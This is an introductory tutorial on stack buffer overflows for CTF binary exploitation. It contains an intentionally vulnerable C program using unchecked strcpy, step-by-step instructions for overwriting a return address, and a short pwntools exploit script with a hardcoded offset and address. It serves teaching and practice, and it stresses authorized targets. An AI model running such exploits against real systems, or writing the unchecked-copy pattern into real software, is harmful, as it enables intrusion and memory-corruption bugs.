Skip to main content

42. Buffer Overflow Basics: The First Step in Binary Exploitation

A buffer overflow is one of the most fundamental vulnerabilities in software security and essential knowledge for anyone interested in reverse engineering, CTFs, or penetration testing. Although the vulnerability has been known for decades, it still appears in real applications, making it a skill you must learn.

What is a buffer overflow?​

A buffer overflow occurs when a program writes more data than a buffer can hold. In languages such as C and C++ that lack automatic bounds checking, the excess data can overwrite adjacent memory. This may cause data corruption or a program crash, and in severe cases allows an attacker to execute arbitrary code.

A classic example using a stack-based buffer:

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // No bounds checking!
    printf("Input: %s\n", buffer);
}

int main(int argc, char **argv) {
    if (argc > 1) {
        vulnerable_function(argv[1]);
    }
    return 0;
}

Passing more than 64 bytes to this program overflows the buffer and overwrites memory on the stack.

Stack layout​

Understanding the stack is essential. When a function is called, the stack looks approximately like this in a simplified layout that grows downward:

[Local variables]
[Saved frame pointer (EBP/RBP)]
[Return address]
[Function arguments]

Overflowing a local buffer can overwrite the saved return address. That is the golden ticket: if you control where the program returns after the function finishes, you can hijack its execution flow.

A simple exploit​

Suppose there is a function named secret() that the program never calls during normal execution. The attack proceeds as follows:

  1. Find the offset: How many bytes are there before the return address? Find it with a pattern-generation tool or trial and error.
  2. Find the target address: Where is secret() in memory? Use a tool such as objdump, gdb, or radare2: 
    objdump -d vulnerable | grep secret
  3. Build the payload: Fill the buffer with junk values and overwrite the return address with the target address.
  4. Account for endianness: Most systems use little endian, so the address 0x08048456 becomes \x56\x84\x04\x08.

Modern protections​

Security mechanisms make real exploits much harder than this simple example:

ASLR (Address Space Layout Randomization) randomizes memory addresses, making it difficult to know where to jump. Bypass techniques include information leaks and return-to-PLT attacks.

Stack canaries place a special value between the buffer and return address. If the value changes, the program terminates. Leaks or brute force can bypass them in some scenarios.

NX/DEP (No Execute) marks the stack as non-executable to prevent shellcode execution. Return-Oriented Programming (ROP) bypasses it by chaining existing code.

PIE (Position-Independent Executable) complements ASLR by randomizing the executable's own base address.

Getting started with CTF pwn​

CTF challenges are the best way to practice binary exploitation safely and legally.

Essential tools:

  • GDB with pwndbg/GEF: enhanced debugger for exploit development
  • pwntools: Python library for writing exploits
  • ROPgadget: finds ROP gadgets in binaries
  • checksec: inspects enabled security features

Practice platforms:

  • pwnable.kr
  • exploit.education
  • picoCTF
  • HackTheBox

Basic workflow:

  1. Analyze the binary with file, checksec, and a disassembler
  2. Find the vulnerability through static and dynamic analysis
  3. Calculate the offset and build the payload
  4. Test locally, then exploit the remote target

Writing your first exploit​

A minimal example using pwntools:

from pwn import *

# Connect to the target
p = process('./vulnerable')

# Build the payload
offset = 72
target_addr = p32(0x08048456)  # Address of secret()
payload = b"A" * offset + target_addr

# Send and interact
p.sendline(payload)
p.interactive()

Responsible disclosure​

Practice only against targets you are authorized to test. Never exploit real systems without permission. CTF platforms, personal VMs, and clearly scoped bug-bounty programs are legitimate practice spaces.

Closing thoughts​

Buffer overflows are a gateway into the fascinating world of binary exploitation. Modern protections have raised the difficulty significantly, but the core concepts remain valid. Master the fundamentals with simple challenges, then tackle increasingly hardened binaries as you learn bypass techniques.

Starting with stack-based overflows and developing a deep understanding of the basics creates a strong foundation for advanced techniques such as heap overflows, format-string attacks, and ROP chains.

Happy hacking—and remember: with great power comes great responsibility.